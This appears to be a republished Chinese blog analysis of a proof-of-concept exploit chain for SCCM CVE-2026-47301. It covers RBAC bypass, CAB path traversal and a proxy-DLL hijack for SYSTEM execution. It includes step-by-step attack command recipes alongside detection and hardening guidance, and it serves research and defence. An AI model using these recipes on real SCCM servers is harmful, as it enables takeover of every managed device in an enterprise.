文章总结： CVE-2026-47301是MicrosoftConfigurationManager(SCCM)的一个严重访问控制缺陷(CVSS8.8)。该漏洞利用链包含四环：分块上传端点绕过RBAC、签名校验形同虚设、CabSlip路径穿越实现任意文件写、adsource.dll劫持导致SYSTEM权限远程代码执行。攻击者可从任意域用户出发，最终获得企业级设备控制权。补丁KB38232642仅修复第一环，环2-4仍可利用。建议立即应用补丁并加强权限管理。 综合评分： 90 文章分类： 漏洞分析,渗透测试,红队,内网渗透,安全建设
CVE-2026-47301
网安之家-CyberHomestead
2026年8月16日 16:38 湖北
在小说阅读器读本章
去阅读
SCCM CVE-2026-47301 Exploit 技术深度解析 —— 从任意域用户到企业级 SYSTEM 的四连击
工具仓库：https://github.com/omribaso/sccm-cve-2026-47301-remote-code-execution-exploit 作者：Omri Baso（XM Cyber 研究员，漏洞发现者本人）——”研究者自发 PoC”的正统身世 漏洞：CVE-2026-47301（Microsoft Configuration Manager / SCCM 访问控制缺陷，CVSS 8.8 / Important / CWE-284），2026-07-14 公开，补丁 KB38232642（2026-06） 本文基于对仓库全部源码的纯静态审计（未执行任何样本）与 XM Cyber / Forestall / MSRC 公开文献交叉验证写成。仅用于授权渗透测试与防御研究。
⚠️ 审计结论先行：这是真 PoC，不是假 CVE 挟毒仓库。 作者即漏洞发现者，代码干净无回调无窃密行为，payload 只操作目标机本地 SAM 数据库并留恢复日志（C:\POC.txt）。
目录
- 1. 这是什么工具，名字有什么寓意
- 2. 前世今生：SCCM 从”配置工具”到”攻击面”的六年
- 3. 漏洞原理抽丝剥茧——四环链式打击
- 4. 源码审计：架构设计与细节妙处
- 5. 命令行帮助与”命令配方”Cheatsheet
- 6. 攻击链与实网落地
- 7. 冷门但常用的语法与骚操作
- 8. 检测与加固（蓝军视角）
- 9. 生态对比
- 10. 参考链接
1. 这是什么工具，名字有什么寓意
这是 CVE-2026-47301 的概念验证利用链：拿一个任意域用户的凭据（无需任何 SCCM 权限、无需域管、无需本地服务器访问），通过网络打到 SCCM 主站点服务器，五分钟内以 SYSTEM 身份执行代码——而主站点服务器意味着对全企业所有受管设备（应用程序、脚本、任务序列下发）的部署控制权。作者原文标题即攻击链全貌：”From Domain User to Enterprise Control“（从域用户到企业控制）。
名字的寓意分三层：
- • 仓库名是”出生证明式命名”：
sccm-cve-2026-47301-remote-code-execution-exploit——产品 + CVE + 效果，一眼可溯源自证，这在假 PoC 满天飞的年代本身就是一种负责任研究的姿态； - • 内部组件名藏着研究者的幽默：
CabSlip（.ddf 文件名）——CAB”滑倒”，指压缩包成员路径”溜出”了解压目录；evil_RID500.cab——RID 500 是 Windows 内建 Administrator 账户的著名相对标识符，”邪恶的 RID500 包”直白宣告它要干什么； - • 彩蛋：payload 把管理员账户改名为
omrispy（Omri + spy），口令Xm#Poc-2026!Adm1n$Ok（Xyber… 不，XM Cyber 的 PoC）——研究者签名式恶趣味，也顺便成了这个 PoC 的 IOC 特征。
2. 前世今生：SCCM 从”配置工具”到”攻击面”的六年
| 时间 | 事件 | 意义 | | — | — | — | | 2020-2022 | 社区研究潮：微软长期把 SCCM 的多数滥用类问题定性为”配置错误而非漏洞”（NAI 类），攻击研究以工具化形式积累：SCCMHunter（Garrett Foster）、MalSCCM、PowerSCCM | SCCM 成为红队内网标配攻击面；”misconfiguration vs vulnerability”的定性之争埋下伏笔 | | 2024-06 | CVE-2024-43468 （CVSS 9.8）：ConfigMgr 关键 RCE，微软罕见地按漏洞处理 | 定性坚冰开始融化——说明 SCCM 里确实有”漏洞”而不只是配置问题 | | 2024 | Synacktiv 披露 ConfigMgr 2403 的未认证 SQL 注入族 | 学术级深入研究进入 SCCM 核心 | | 2025-2026 | XM Cyber 研究员 Omri Baso 发现四环链（后 assigned CVE-2026-47301，同时致谢 mick3y/Team SaturnX 独立发现） | 本文主角的诞生 | | 2026-06/07 | 补丁 KB38232642 随六月周期发布，CVE 于 2026-07-14 公开；研究者公开完整技术文章与 PoC 仓库；CSO Online 报道《花 58 美元攻破微软 SCCM，补丁让攻击变难了但没堵死》 | 链环 1（RBAC 缺失）被修复；环 2-4 至今未修，留给持有最小权限的账户 | | 2026-10（计划） | ConfigMgr 2609 预计处理剩余链环（研究者口径，未获微软确认） | 悬而未决的下半场 |
它为何而诞生：作者做的是”把微软定性为配置问题的地方打穿成漏洞”的证明——每次 SCCM 攻击研究被”这是你配置不对”驳回，就有人回来演示”默认部署、零额外配置的情况下照样通”。这个 PoC 的每一环（签名校验只查信任链不查发布者、CAB 解压不洗路径、静态导入 DLL 不验签）单独看都”不算大事”，四环相连就是任意域用户 → SYSTEM → 企业设备控制权。它是写给微软威胁建模部门的一封实弹信。
3. 漏洞原理抽丝剥茧——四环链式打击
环 1：分块上传端点跳过 RBAC（CVE-2026-47301 本体）
SCCM 的 AdminService（SMS Provider 上的 REST API，HTTPS 443）暴露两个控制台扩展上传方法：
- •
UploadExtension（单发）——有 RBAC 检查：需要SMS_ConsoleExtensionData（对象类型 230）上的 **Create（位掩码 1024）**权限； - •
UploadExtensionInChunks（分块）——实现时漏掉了同一处权限检查。
于是任意已认证域用户（集成的 Windows 认证即可）向分块端点 POST 一个 CAB，文件就落到了站点服务器上——零 SCCM 权限。这是典型的”功能双胞胎、检查单边走”缺陷：两个端点共享提取管线，但权限校验只长在其中一条腿上。
环 2：签名校验形同虚设（$58 通关费）
上传的 CAB 内含签名的扩展内容。校验逻辑：任何能链到受信根的 Authenticode 签名即通过——不校验发布者白名单、不查 CRL。一张 Certum 开源开发者证书约 58 美元即可满足（CSO Online 报道标题的出处）；用企业内部 AD CS 签也行。微软后续对部分路径给了 AllowUnsigned 参数（PoC 的 --allow-unsigned 即对应），侧面说明签名校验从来不是安全边界。
环 3：CabSlip 路径穿越 → 任意文件写
CAB 格式（MSCF）支持成员文件携带目录指示。源码 cabslip.ddf 里的凶器一目了然：
.Set DestinationDir="..\..\..\..\"
C:\Users\bob\Desktop\adsource_original.dll
C:\Users\bob\Desktop\adsource.dll
SCCM 的提取程序会把”解压根目录 + 成员路径”拼接后解压——而成员路径里的 ..\..\..\..\ 没有被规范化清洗，四层回退正好从扩展暂存目录爬进 ConfigMgr\bin\x64。十六进制直接可见（evil_RID500.cab 偏移 0x50 处）：2e2e5c2e2e5c2e2e5c2e2e5c = ..\..\..\..\。任意文件写原语（AFW）达成。
环 4：adsource.dll 劫持 → SYSTEM RCE
SMS Executive 服务（SYSTEM）的 AD 发现组件 adsysdis.dll 静态导入 adsource.dll——但加载后者时不做签名校验（与 adsysdis 本身被校验形成对照）。攻击者把两枚 DLL 写进 bin\X64：
- •
adsource.dll：恶意代理 DLL，147 个导出全部以 PE 转发器形式指回原版； - •
adsource_original.dll：改名后的正版原文件。
每 5 分钟一次的发现周期里 SMS Executive 加载恶意 DLL → DllMain 在工作线程起 payload → 服务照常运行不崩溃。从主站点服务器出发，攻击者继承全部部署通道：给全企业受管设备推”应用”、脚本、任务序列——这就是 Enterprise Control 的含义。
影响版本与补丁矩阵（Forestall 核实）
| 分支 | 修复构建 | | — | — | | 2503 | ≥ 5.0.9135.1031（需先上汇总 KB32851084） | | 2509 | ≥ 5.0.9141.1030（含于汇总 KB37864969） | | 2603 | ≥ 5.0.9146.1021（直装 KB38232642） |
补丁只修环 1（恢复分块端点的权限检查）；环 2-4 对持有 Create on SMS_ConsoleExtensionData 的主体依然畅通——内建”操作管理员（Operations Administrator）”角色天然带此权限，还有全管与自定义副本。
4. 源码审计：架构设计与细节妙处
4.1 仓库结构（静态审计全量，296KB）
├── C1_UploadExtensionInChunks_AFW.cs # ★ 412 行：利用器主体（.NET 8）
├── C1_AFW.csproj / .sln # net8.0, AnyCPU/x64
├── cabslip.ddf # ★ makecab 定义：DestinationDir 四层穿越
├── evil_RID500.cab # ★ 预制弹药（MSCF 头 + 穿越成员名，hex 实证）
├── UploadExtension_MinRole.xml # ★ 最小 RBAC 角色定义（1025 权限位 @ 类型230）
└── AdSource_Proxy/
├── adsource_proxy.cpp # ★ payload DLL 源码（RID500 操作 + 日志）
├── pragmas.txt # 147 条 /export 转发 pragma（含 C++ 修饰名）
├── Build.ps1 # ★ 自动化构建：解析 pragma → 生成转发 C → cl/link → dumpbin 验证
├── New-DllForwarderPragmas.ps1 # 从正版 DLL 提取导出生成 pragmas.txt
├── adsource_original.dll # 正版原 DLL（改名件）
└── adsource.exp / .lib / .sln / .vcxproj
4.2 细节妙处逐条讲
① 双链 × 双模式的责任伦理设计（C1_AFW.cs）
利用器同时实现 C1（分块端点，无 RBAC——打补丁前）与 --c2（UploadExtension，需权限——打补丁后继续验证环 2-4 用），且提供 probe 模式：只上传一个带时间戳与操作者名的无害文本标记，用于授权评估里先确认端点可达性与认证状态，不直接武器化。这是把”证明存在”与”实施利用”分离的职业做法——测试者可以只跑到 probe 就停。
② DecodeEscapes：给文件名开转义通道又不伤 Windows 路径（C1_AFW.cs:318-354）
命令行传入的文件名支持 \xHH / \uHHHH 转义（方便注入不可打印字符与 Unicode 路径），但解码器刻意只认 \x 和 \u 前缀，其余反斜杠序列原样保留——源码注释原话：”so Windows paths like ..\foo\bar work”。穿越路径原样传、特殊字符走转义，两不误。一个为攻击语法量身定做的迷你词法器。
③ ToJsonToken 的”绑定器安全”意识（C1_AFW.cs:100-110）
--allow-unsigned 参数接受 true/false/null/3/-1/1.5 等值并按 JSON 语义输出原始 token而非一律当字符串——因为服务端 OData 模型绑定对类型敏感。作者对目标 API 的类型系统理解到了实现层。
④ Presentation Mode（非 verbose 时打印 [Presentation Mode - Hiding Parameters]）
默认隐藏完整请求 JSON 与响应体，--verbose 才显示——为了现场演示/截图时不泄露目标环境参数。会议级的细节自觉。
⑤ 代理 DLL 的”零痕迹生存”工程（adsource_proxy.cpp + Build.ps1）
- • payload 放在 DllMain（DLL_PROCESS_ATTACH）里由工作线程执行——加载即触发，先于任何导出被调用，杜绝”服务还没调到导出就崩溃”的时序问题；源码注释还专门警告构建必须
/ENTRY:DllMain（否则 DllMain 成死代码）； - • 自定义
memset、动态GetProcAddress解析 netapi32：/MT /GS- /Zl极简构建无 CRT 依赖，最小化攻击面与体积； - • 147 个导出全部用
#pragma comment(linker, "/export:名=adsource_original.名,@序号")生成真 PE 转发器——比 .def 存根方案高明：所有调用直通正版 DLL，SMS Executive 行为完全正常。Build.ps1 还会用 dumpbin 复核转发器数量并警告任何残留存根——构建脚本自带质检闭环； - • RID 500 的定位不用账户名（可被改名防御），而是 LookupAccountName(机器名) 拿机器 SID → CreateWellKnownSid(WinAccountAdministratorSid) 合成 RID500 SID → LookupAccountSid 反查当前名——改名免疫。
⑥ PoC 卫生（难得一见）
payload 执行前把 RID 500 原名写入 C:\POC.txt（带时间戳/PID/TID），README 的 Cleanup 节明确给出回滚步骤（删恶意 DLL、改回原名）。可回滚的证明性破坏——这是给评审者递刀又递创可贴的写法。
⑦ AD 侧侦察的”零扫描”找站点服务器（README）
主站点服务器不在 AD 里发布名称，但站点服务器必须有 CN=System Management,CN=System 容器的完全控制权（AD 发布机制所需）。README 给出的查询：枚举该容器 DACL 里 GenericAll/FullControl 的主体，名字以 $ 结尾的机器账户即站点服务器——不扫一个端口，用权限拓扑反推基础设施角色。
4.3 工程瑕疵（如实指出）
- •
cabslip.ddf里残留作者实验路径（C:\Users\bob\Desktop\、CabinetNameTemplate=evil.cab），照抄不改会在别处踩坑； - •
RunProbe的 C2 分支上传.cab后缀名但内容是纯文本标记——服务端行为依赖实现细节； - • C# 端
Truncate函数定义了但主流程未使用（死代码）； - • evil_RID500.cab 里两枚 DLL 与仓库源码是否同构建无法在静态层面完全证明——授权使用前应自行重建（Build.ps1 就是为此准备的）。
5. 命令行帮助与”命令配方”Cheatsheet
5.1 帮助原文还原（源码 PrintUsage() 逐字重建；无参数运行即打印）
Usage:
C1_AFW.exe probe [flags] <host> [marker_text]
C1_AFW.exe write [flags] <host> <filename> [payload_file]
Chains:
(default) C1 — UploadExtensionInChunks (no RBAC check, any domain user)
--c2 C2 — UploadExtension (requires Create on SMS_ConsoleExtensionData)
Flags:
--c2 use C2 chain (UploadExtension with RBAC)
--verbose / -v show full request details (endpoints, JSON, response body)
--http use http:// instead of https://
--port N override port (default 443/80)
--allow-unsigned V value for the AllowUnsigned parameter (default: false)
--text "<string>" supply payload as UTF-8 text directly from CLI
--content "<string>" alias for --text
Examples:
C1_AFW.exe probe <host> C1: probe as any domain user
C1_AFW.exe probe --c2 <host> C2: probe as Operations Admin
C1_AFW.exe write <host> <filename> <cab_file> C1: upload via chunked (no RBAC)
C1_AFW.exe write --c2 <host> <filename> <cab> C2: upload via UploadExtension
C1_AFW.exe write --verbose <host> <filename>
5.2 参数即模块：功能矩阵
| 参数 | 语义模块 | 组合价值 |
| — | — | — |
| probe / write | 行为档位（证明 vs 武器化） | 演练先 probe 存证再决定升级 |
| （默认）/ --c2 | 链环选择（补丁前 C1 / 补丁后 C2） | 跨补丁周期复用同一工具 |
| --allow-unsigned V | 目标 API 开关直通（接受 JSON 原始 token：true/3/-1/null…） | 探测服务端签名校验行为的模糊测试旋钮 |
| --text / --content | 载荷注入（免文件） | 脚本里动态生成内容直塞 |
| --http / --port | 传输层 | AdminService 被反代/改端口时适配 |
| --verbose / -v | 可观测性 | 完整请求 JSON 与响应体入日志 |
| 位置参数 <filename> | AFW 的落点控制器 （支持 \xHH/\uHHHH 转义） | 路径即武器 |
5.3 命令配方（组合、脚本化、动态注入）
配方 A —— 授权评估标准动线（侦察→证明→报告）
# 1. AD 权限拓扑反推站点服务器（零端口扫描）
$root = [ADSI]"LDAP://RootDSE"
$container = [ADSI]"LDAP://CN=System Management,CN=System," + $root.defaultNamingContext
$container.ObjectSecurity.Access |
Where-Object { $_.ActiveDirectoryRights -match "GenericAll|FullControl" } |
Select-Object IdentityReference, ActiveDirectoryRights | Format-Table -AutoSize
# 名字带 $ 结尾的 = 站点服务器机器账户
# 2. 无害探针（确认端点可达 + 认证通过 + 留评估标记）
.\C1_AFW.exe probe SCCM-CM01.corp.local --verbose
# 3. 版本与补丁核对（蓝红通用）
Get-CimInstance -Namespace root\SMS\site_<SITECODE> -ClassName SMS_Site |
Select-Object ServerName, Version # 对照 9135.1031 / 9141.1030 / 9146.1021
配方 B —— 自制弹药（不信任预编译件的全流程重建）
# 1. 从目标同版本正版 adsource.dll 提取导出，生成转发 pragma
.\New-DllForwarderPragmas.ps1 # → pragmas.txt（147 条）
# 2. 构建 DllMain 即触发、导出全转发的代理 DLL（自动 dumpbin 质检）
.\Build.ps1 -OutputDll .\adsource.dll
# 3. 改 DDF 里的源文件路径后打包穿越 CAB（makecab）
makecab /F cabslip.ddf # DestinationDir="..\..\..\\" 原样保留
# 4. 发射（write 模式，filename 即服务端保存名）
.\C1_AFW.exe write SCCM-CM01.corp.local 'pwn.cab' .\evil.cab --verbose
# 约 5 分钟内 SMS Executive 加载（AD 发现周期），目标机 C:\POC.txt 出现日志
配方 C —— 补丁后继续验证环 2-4（授权红队回归测试）
# 1. 在 SCCM 控制台导入最小角色（仅 230 类型 Create+Read，权限位 1025）
Import-CMRole -XmlPath .\UploadExtension_MinRole.xml # 或控制台导入
# 给测试账户挂 RCERole —— 精确复现"最小权限即触发"的判定
# 2. 走被检查的 C2 端点继续打链环 2-4
.\C1_AFW.exe probe --c2 SCCM-CM01.corp.local --verbose
.\C1_AFW.exe write --c2 SCCM-CM01.corp.local 'pwn.cab' .\evil.cab
配方 D —— 多 SMS Provider 批量与动态注入
# 拓扑事实：SMS Provider 与站点服务器可能分机部署——逐台验证
$providers = Get-CimInstance -Namespace root\SMS -ClassName SMS_ProviderLocation |
Select-Object -ExpandProperty Machine
foreach ($p in $providers) {
Write-Host "`n[*] Probing $p" -ForegroundColor Cyan
.\C1_AFW.exe probe $p --verbose # C1_AFW 本体走 SSPI 集成认证，当前域身份自动跟随
}
# 动态注入示例：--text 免文件写标记（内容实时生成）
$marker = "authorized-test-{0}-{1}" -f $env:USERNAME, (Get-Date -f s)
.\C1_AFW.exe write CM01.corp.local 'audit_marker.txt' --text $marker
# 文件名转义注入（\xHH）：写入含不可打印字符的路径名
.\C1_AFW.exe write CM01.corp.local "test\x20name.txt" --text probe
配方 E —— 蓝队侧武器化自查（同一工具反用）
# 站点服务器上 hunts 未签名 DLL（Forestall 检测逻辑的落地版）
Get-ChildItem "$env:ProgramFiles\Microsoft Configuration Manager\bin\x64\*.dll" |
Get-AuthenticodeSignature |
Where-Object { $_.SignerCertificate.Subject -notmatch "Microsoft Corporation" } |
Select-Object @{n='DLL';e={$_.Path}}, Status, @{n='Signer';e={$_.SignerCertificate.Subject}}
# 命中：未签名 adsource.dll + 伴生 adsource_original.dll = 代理劫持指纹
6. 攻击链与实网落地
6.1 在杀伤链中的位置
任意域用户凭据（钓鱼/密码喷洒/Kerberoast 所得）
→ 网络可达 SMS Provider:443（环1：分块上传无 RBAC）
→ $58 代码签名证书满足校验（环2）
→ CabSlip 四层穿越写入 bin\X64（环3）
→ 5 分钟内 SMS Executive(SYSTEM) 加载代理 DLL（环4）
→ 站点服务器 SYSTEM = 全企业部署通道
→ 推"应用"/脚本/任务序列到所有受管设备 → 企业级控制
对比传统 SCCM 攻击路径（需要 SITE 数、管理凭据、CAS/PXE 错配等多重前提），这条链的进入成本是一张最普通的域用户票——这就是它评级 Important 却震撼的原因。
6.2 实战注意（授权前提下）
- • 身份最小化：全程 SSPI 集成认证，当前域用户即可——OPSEC 上建议用专用测试账户而非操作员主账号（C:\POC.txt 与 adminservice.log 都会留身份）；
- • 时序：DLL 加载由 AD 发现周期驱动（约 5 分钟）， impatient 重发只会多留日志；
- • SMS Provider 拓扑：Provider 与站点服务器可能是不同主机——环 1 打在 Provider，环 3/4 落地在站点服务器，链路中间有服务间通信，排查失败时先分清角色；
- • 修补后的世界：C1 关闭，但内建”操作管理员”角色与所有自定义副本仍持有环 2-4 钥匙——授权评估应继续用配方 C 验证。
7. 冷门但常用的语法与骚操作
冷门但常用：
- 1.
--allow-unsigned吃的是 JSON 原始 token：true/false/null/3/-1/1.5按类型直通 OData 绑定器——传"yes"会被当字符串打回。这是对服务端模型绑定的精准利用，README 没写，源码ToJsonToken是唯一出处； - 2. filename 的
\xHH/\uHHHH转义通道：只认这两个前缀、其余反斜杠原样放行——..\..\file.txt直接写，test\x20name走转义，两套语法共存不冲突； - 3. probe 的默认标记自带身份与时间戳（
probe <ISO8601> DOMAIN\user）——不传 marker_text 也有完整溯源信息，审计友好； - 4.
--content是--text的别名——脚本生成器里做参数兼容时用得上； - 5. 失败会打印”异常链全貌”（Transport failure 时逐层缩进 InnerException）——排查 Kerberos/证书/防火墙问题不用抓包。
骚操作清单：
- 1. 用 AD 权限拓扑找站点服务器：不扫端口，看
CN=System Management容器谁有 GenericAll，带$的机器账户就是——基础设施角色从 ACL 反推； - 2. $58 签名通关：校验只查”链到受信根”不查发布者——一张开源开发者证书攻破企业级校验，成本与效果的比值荒诞到成为新闻标题；
- 3. DllMain 工作线程起 payload：加载即触发、先于任何导出调用——把时序风险焊死在进程加载器层面；
- 4. 147 个 PE 转发器全导出代理：不是存根是转发——服务行为零偏差，”打完跟没打一样”；
- 5. RID 500 按 SID 定位：改名防御免疫，且把原名写进 C:\POC.txt——破坏可回滚；
- 6. probe/write 分离 + Presentation Mode：证明与武器化的伦理分层，截图不泄参；
- 7. Build.ps1 的 dumpbin 自检：构建脚本给自己做导出表质检——武器工程的 CI 意识；
- 8. evil_RID500.cab 开箱即用但全套源码齐备：预编译件供快速复现，源码链供审计重建——两种信任级别任选。
8. 检测与加固（蓝军视角）
检测（Forestall 与 PoC 审计交叉整理）：
# 1. 尝试痕迹：每台 SMS Provider 的 adminservice.log
Select-String -Path $AdminServiceLog -Pattern 'UploadExtension|DirectoryNotFoundException|response code \[500\]' |
Select-Object LineNumber, Line
# 告警点：非控制台操作员账户的上传；500 错误 + 解压 GUID 频繁变化（穿越失败签名）
# 2. 版本核对（勿信补丁报表，信 SMS_Site.Version）
# 2503<9135.1031 / 2509<9141.1030 / 2603<9146.1021 = 存在环1
# 3. RBAC 暴露面审计（谁持有 230 类型的 Create）
Get-CimInstance -Namespace $ns -ClassName SMS_Admin |
Select-Object LogonName, IsGroup, @{n='Roles';e={$_.RoleNames -join ', '}} |
Where-Object { $_.Roles -match 'Operations Administrator|Full Administrator' }
# 注意：自定义角色同样可能带此权限，此查询只是起点不是终点
# 4. 植入 DLL 狩猎（配方 E）：bin\x64 非 Microsoft 签名 DLL 清单 +
# "adsource.dll 未签名 + adsource_original.dll 伴生" 的代理劫持指纹
加固：
- 1. 装 KB38232642 并用
SMS_Site.Version验证（不是看补丁报表）； - 2. AdminService(443) 防火墙化：仅放行控制台/自动化主机；
- 3. RBAC 瘦身：以内建角色为模板复制时剔除 SMS_ConsoleExtensionData 的 Create 位（对应 PoC 的 MinRole xml 反向操作）；
- 4. 站点服务器按控制面资产对待：跳板机访问、凭据卫生与 DC 同级；审计本地 Administrators；
- 5. Console Extensions 节点做基线：清单 + 二进制签名基线化，新增即告警；
- 6. 跟踪 2609（2026-10）：环 2-4 的实际修复情况以微软发行说明为准，别提前销项。
9. 生态对比
| 工具 | 定位 | 与本仓库关系 | | — | — | — | | 本 PoC（C1_AFW + CabSlip + AdSource_Proxy） | 特定 CVE 链式利用器 | 研究者自证闭环 | | SCCMHunter（Garrett Foster） | SCCM 攻击面侦察/自动化 | 打前置情报（站点/角色/集合） | | MalSCCM / PowerSCCM | 滥用合法功能的投放工具 | 打后置部署（本文链的”Enterprise Control”段） | | Microsoft ECS / 攻击面缩减 | 官方缓解体系 | 本链环 2-4 的修复责任方 | | Synacktiv ConfigMgr SQLi 研究 | SCCM 深层漏洞研究 | 同代学术脉络 |
10. 参考链接
- • PoC 仓库：https://github.com/omribaso/sccm-cve-2026-47301-remote-code-execution-exploit
- • MSRC 公告：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47301
- • XM Cyber 原始研究《Potential for RCE in Microsoft SCCM via Newly Discovered Exploit Chain》：https://xmcyber.com/blog/potential-for-remote-code-execution-in-microsoft-sccm-via-newly-discovered-exploit-chain/
- • Forestall 深度分析（含检测查询与补丁矩阵）：https://forestall.io/resources/blog/sccm-cve-2026-47301
- • CSO Online《It took $58 to break Microsoft’s SCCM, but a patch made it harder》：https://www.csoonline.com/article/4209154/it-took-58-to-break-microsofts-sccm-but-a-patch-made-it-harder.html
- • 作者官宣（LinkedIn）：https://www.linkedin.com/posts/omri-baso_from-domain-user-to-enterprise-control-microsoft-activity-7493638976264761344-8m8x
- • 前序脉络 CVE-2024-43468：https://www.sentinelone.com/vulnerability-database/cve-2024-43468/
- • Synacktiv ConfigMgr SQL 注入披露：https://www.synacktiv.com/en/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections
本文技术细节均来自对仓库 @ main 分支源码的纯静态审计（未执行任何样本，evil_RID500.cab 仅做十六进制查验）与上列公开文献交叉验证；仅供授权安全测试与防御研究使用，请遵守当地法律法规。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：网安之家-CyberHomestead 《CVE-2026-47301》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论